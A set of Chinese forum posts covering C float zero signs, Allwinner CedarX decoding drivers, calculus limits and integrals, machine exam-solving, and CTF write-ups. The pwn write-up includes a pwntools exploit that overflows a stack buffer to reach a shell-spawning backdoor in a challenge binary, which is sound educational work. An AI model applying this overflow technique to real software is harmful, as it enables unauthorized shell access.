这个可以理解为表示浮点数的问题

如果你判断一下r == 0.0，你会发现结果也是true。实际上在C里面+0.0和-0.0是同一样东西。当然根本原因是符号位的存在，但是似乎在显示运算后的整型数的时候就没有这个情况。在 StackOverFlow上的一个回答 指出浮点数零的符号其实是刻意保留的。

至于解决方案，这样咯（虽然看起来有些蠢）

if (r == 0.0) { r = 0.0; }

假期再来挖一把

之前远程调试的问题其实在armbian或者ubuntu下就完全没有问题，毕竟开发用这两个系统才合适

另外关于硬件解码的驱动还是有办法解决的，在官方提供的Android驱动下有民间整合的硬件解码驱动，所以只要用一般的视频播放接口即可实现，可惜不是底层的驱动。不过官方也放出了各种芯片平台通用的linux驱动，并且比较让人高兴的是官方终于带上了文档。

编译驱动的过程可能会出错，按这篇教程来全志 CedarX 库linux安装（不得不吐槽一下这个居然不能编译成arm64，浪费了H6这样的架构）。静态编译会让编解码库找不到插件路径报错（不影响使用），改一下GetLocalPathFromProcessMaps或者AddVEncPlugin/AddVDPlugin这些函数即可

还有一个看上去比较靠谱的源码，连播放器demo都带上了。但是目前在我本机上编译失败，原因似乎是本机少了arm上的alsa库，而且大概因为这些库在busybox上移植也比较麻烦（毕竟别人的目标平台还是ubuntu）。

在Github上找找还是有不少好东西的，比如说别人针对开发板制作的ubuntu精简版。剩下的代码不是没有文档的就是处于实验性质的，姑且当作参考

• https://github.com/ugers/android_external_cedarx
• https://github.com/allwinner-dev-team/android_external_cedarx
• https://github.com/FREEWING-JP/OrangePi_CedarX
• https://github.com/Allwinner-Homlet/H6-CedarC
• https://github.com/linux-sunxi/cedarx-libs
• https://github.com/liqil/cedarx-libs
• https://github.com/linux-sunxi/libcedrus
• https://github.com/bootlin/libva-v4l2-request
• https://github.com/linux-sunxi/libvdpau-sunxi
• https://github.com/allwinner-zh/media-codec-lib
• https://github.com/avafinger/v4l2-request-test
• https://github.com/bootlin/v4l2-request-test
• https://github.com/fsebentley/CedarX-12.06.2015
• https://github.com/leviathanch/sunxi-cedarx-blobs
• https://github.com/noblock/sunxi-cedar-mainline

最严谨的做法当然还是用积分中值定理
$$\exist \zeta,\eta\in[0,r], \ \ \ I=\frac{1}{\pi r^2}\iint{e^{x^2-y^2}cos(x+y)} =\frac{1}{\pi r^2}\cdot e^{\zeta^2-\eta^2}cos(\zeta+\eta)\pi r^2\\$$当$r\to0$时，$\zeta,\eta\to0$，故
$$\lim_{r \to0}I=\lim_{r \to0}e^{\zeta^2-\eta^2}cos(\zeta+\eta)=e^{0}cos(0)=1$$
但我第一次看到这题的时候还不知道有积分中值定理，不过我还是想到一种略微不严谨但比较简单的解法

我们令$f(x,y)=e^{x^2-y^2}cos(x+y)$那么在$D:x^2+y^2=r^2$上的二重积分$\iint f(x,y)$实际上就是用以z轴为中心轴，半径为r的圆柱面去截被积函数所得的体积
当$r\to0$时，圆柱面截出的几何体即为一个圆柱体。可以这样理解，实际上r不趋于0时圆柱面截出的几何体上方不是一个圆平面，但是r趋于0时其上方为曲面无穷小的一块，并且在(0,0)处对x和y的偏导数都是0，因此可以视为平面。此时的圆柱体可以看作一条在z轴上的直线，底面与顶面分别汇聚成一个点，高为被积函数在(0,0)处的值。画个图帮助一下想象

接下来事情就变得很明显了，这个圆柱体体积除以$\pi r^2$就是圆柱体的高$f(0,0)$，所以原式的值就是$f(0,0)$

我看我们也有不少人在群里问老师这道题，当然答复就是积分中值定理（话说我们老师也没有讲过这样东西，我想得到用它？）

以往我们做题都是先了解到了某个知识点，然后借此去做题，在不断地训练下形成一种“模式”，就像0x0001所说的。这种“模式”的最终效果是让我们很快地把题目解出来。

这种所谓“模式”可以说其实是不求甚解的情况，它要解释你为什么这样做而不是用其他办法。就像现在高数积分的换元，有时候看过程真的有些步骤是莫名其妙的，但是确实题目也有特征可以让你认为应该使用这种换元方法。据我使用的两款软件PhotoMath和微软数学（这两个已经可以说有自动解纯计算数学题的能力了）的体验来说，他们在这方面做得也不怎么好。

回到楼主的物理题上, 对于曾经出现过的题目来讲，只要把答案搬上去就可以了，这也就是现在“搜题”软件的做法。但是没有出现过的题目怎么办？如果说那种“模式”可以从过往的题目中获取，那可能对于机器来讲只是分析的过程会复杂一些，把一个大问题拆分成几个有“模式”的小问题也是能够实现的。

那还有一种题目，也是在高考中会出现的难题。它看上去完全不属于任何一种“模式”之下（虽然据我所知，全国卷高考的物理出题都是从课本题目改编过来的，但是能魔改到什么程度大家有目共睹），这个时候是真正考验考生对知识点的理解程度了。但是怎么做到让机器真正理解那些知识点....

只靠做题积累的经验并不管用，我们考生能在后期疯狂刷题也是建立在对课本知识的理解之上。上面这一点算是机器解题的痛点之一，其他的盲点还有语义分析（读题读准确了吗？），数学和物理大题里的分类讨论（什么时候要分类？怎么分类？），情景题（有时候那些“废话”真的不是废话，机器哪里来的实际生活体验？）等等

当然也不是真的毫无希望，只是实现过程非常困难，而且也确实有人曾经实现过：
人工智能｜数学机器人AI-MATHS首次成功公开模拟高考
机器人挑战高考数学卷拿134分 最难题仅用40秒

只不过实现的细节没有公开（我怀疑它们八成效果靠吹，其实都是小猿搜题离线版）

以上是一个完全不懂机器学习的菜鸡我个人的一些拙见，希望对楼主有帮助

话说这个积分在积分表里面有，不过想起大一高数老师说的话

套公式完全体现不出做题人的水平

其实定积分反而更加好算，毕竟算出来个数就好了，至于积分出来的表达式可以有很多种，对应的换元方法也有很多种。
然而这道题可以不换元做
$$\begin{aligned} \int_{0}^{2\pi}{\sqrt{x^2+1}}\ dx &=x\sqrt{x^2+1}\bigg|_{0}^{2\pi}-\int_{0}^{2\pi}x\ d\sqrt{x^2+1}\\ &=x\sqrt{x^2+1}\bigg|_{0}^{2\pi}-\int_{0}^{2\pi}\frac{x^2+1-1}{\sqrt{x^2+1}}\ dx\\ &=x\sqrt{x^2+1}\bigg|_{0}^{2\pi}-\int_{0}^{2\pi}{\sqrt{x^2+1}}\ dx+\int_{0}^{2\pi}\frac{1}{\sqrt{x^2+1}}\ dx\\ \end{aligned}$$
这样够简单吧？把$\int_{0}^{2\pi}{\sqrt{x^2+1}}\ dx$移过去，并且$\int_{0}^{2\pi}\frac{1}{\sqrt{x^2+1}}\ dx=ln(x+\sqrt{x^2+1})\bigg|_{0}^{2\pi}$，然后就算出结果来了

Count(Pwn)

关键词：read越界写入

比赛的时候差点给逆向劝退了，pwn的题看都没有看。没想到这道题难度居然跟新生赛差不多，可能是因为用了另一种CPU架构的缘故？

先上IDA看一下，前面就是个200轮的算数游戏，用python里的pwntools+eval即可实现

最后那里留了个小后门，大概意思是有两个变量，用read把输入的放到一个变量里面，然后看看第二个变量是不是等于另外一个数，符合条件的话就会调用函数。那个sub_400920里面调用了system("/bin/sh")，就是用来起shell的

看v9和v8在栈上的位置，可以发现两者位置差了0x64即100个byte，然后上面的read又能够读110个byte，也就意味着我可以越界写入。所以我只要从第101个byte开始写304305682进去，就可以触发条件，至于前面100个byte的话随便就好了

有一个坑就是这是aarch64的ELF，不能在x86上直接跑(不服？树莓派上装pwntools玩)。但是pwntools支持在qemu上运行ELF，按官方文档装好就行了。下面是exp

from pwn import *
import re

p=process("./pwn")
for _ in range(200):
	eq=p.recvuntil("input answer:")
	eq=eq.replace("there have 200 levels ~Math: ","").replace("= ???input answer:","")
	#防止官方发送搅屎代码，虽然这次是不可能的
	#m=re.match("\d+ \* \d+ \+ \d+ \+ \d+ ",eq)
	#if m != None and len(m.group(0))==len(eq):
	num = str(eval(eq))
	p.sendline(num)
	p.recvline()

payload='A'*0x64 + p32(0x12235612)
p.sendline(payload)

p.interactive()

$$\lim_{x\to0}(\frac{1}{sin^2x}-\frac{cos^2x}{x^2}) =\lim_{x\to0}(\frac{1}{sin^2x}-\frac{1}{x^2})+\lim_{x\to0}(\frac{sin^2x}{x^2})\\ \ \\ =\lim_{x\to0}(\frac{x^2-sin^2x}{x^2sin^2x})+1\\ \ \\ =\lim_{x\to0}(\frac{x^2-sin^2x}{x^4})+1\\ \ \\ \lim_{x\to0}(\frac{x^2-sin^2x}{x^4})=\lim_{x\to0}(\frac{2x-sin2x}{4x^3}) =\lim_{x\to0}(\frac{2-2cos2x}{12x^2})\\ \ \\ =\lim_{x\to0}\frac{(2x)^2}{12x^2}=\frac{1}{3}\\ \ \\ \lim_{x\to0}(\frac{1}{sin^2x}-\frac{cos^2x}{x^2})=\frac{4}{3}$$
这样？应该还有一个办法是用泰勒展开吧。所以说，通用的方法是什么？一洛到底吗
还有@0x0001 站长，为什么我的多行公式好像粘在一起了... 嗯？好像换多一次行就好了

大概是一个月之前的比赛了，反正当时除了签到题之外没能做出其他题（哭

然后最近打算认真重新做一遍，然后发现有些题还是不会做（哭*2，说到底还是太菜了），所以这里只记录了几道简单题的过程。也欢迎参过赛的小伙伴们贴一下自己的解题思路一起讨论

GAME(Reverse)

关键词：python bytecode，python dis.dis()

上网搜一下文件中的内容，比如说“LOAD_CONST”，发现是由dis.dis()生成的python的字节码，实际上是一种中间状态的可读代码。真正的字节码文件的话应该是pyc格式，有现成的工具可以把它反编译回python代码。但是python的dis模块却没有现成工具，如果不想专门自己写工具的话只能手动逆。这种类型的题的旧例

参考官方给出的文档可以得知每条指令的含义，并且它们维护了一个简单的栈，操作符就是针对TOS(Top Of Stack)和TOS1(TOS下面的数据)进行操作。除了check0里的那个神奇的yield之外基本上没有什么困难的地方，很快就可以写出源代码

arr0=[249,91,149,113,16,91,53,41]
arr1=[43,1,6,69,20,62,6,44,24,113,6,35,0,3,6,44,20,22,127,60]
arr2=[90,100,87.109,86,108,86,105,90,104,88,102]
'''
def genxpr():
	for x in range(0,38):
		yield ord(x) in range(32,128)
'''
def check0(s):
    #check0函数怎么写都是怪怪的，官方wp的意思是，它是用来判断每个字符ascii是否在32到128之间
	#return all(genxpr(iter(s)))
	pass

def check1(s):
	if not len(s) <100:
		return False
	if not (((len(s)*len(s)) % 777 )^ 233 == 513):
		return False
	return True
	pass
def check2(s):
	if  ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(
            s[5]) == 3533889469877L:
		if s[-1]==125:
			return True
	return False
	pass
def check3(s):
	arr=map(ord,s)
	a=arr[slice(6,30,3)]
	for i in range(len(a)):
		if arr0[i]!=((a[i]*17684+372511)%257):
			return False
	b=arr[slice(-2,33,-1)]*5
	c=map(lambda x:x[0]^x[1],zip(b,arr[7:27]))
	if c != arr1:
		return False
	p=0
	for i in range(28,34):
		if arr2[p]!=((arr[i]+107)/16+77)
			return False
		if arr2[1+p]!=((arr[i]+117)%16+99)
			return False
		p=p+2
	return True
	pass
def raw_input():
	pass

if check0(flag) and check1(flag) and check2(flag) and check3(flag):
	print('ok')
else
	print('no')

check1就是花式告诉你字符串的长度为39，check2由于你已经知道了开头是"flag{"，结尾是"}"，同样解个方程就会发现第六个字符是'5'

check3就复杂一点，第一个循环内的是判断切片的字符是否满足17684*a[i]+372511=arr0[i]+257r，由于已知r和a[i]为正整数，并且由a[i]为可打印字符可知其范围，直接写脚本爆破即可。第二个循环就是把数组里面的数字两两异或，并且上面解出的内容也会参与运算，所以可以借此解出其余字符(这段太烦琐了，我选择直接爆破)。第三个循环比第一个更简单，直接就可以算出结果。更具体地分析这里有。

0x0001 所以说我发现了一个已经在新版里面修复的Bug？社区真的是个除虫大师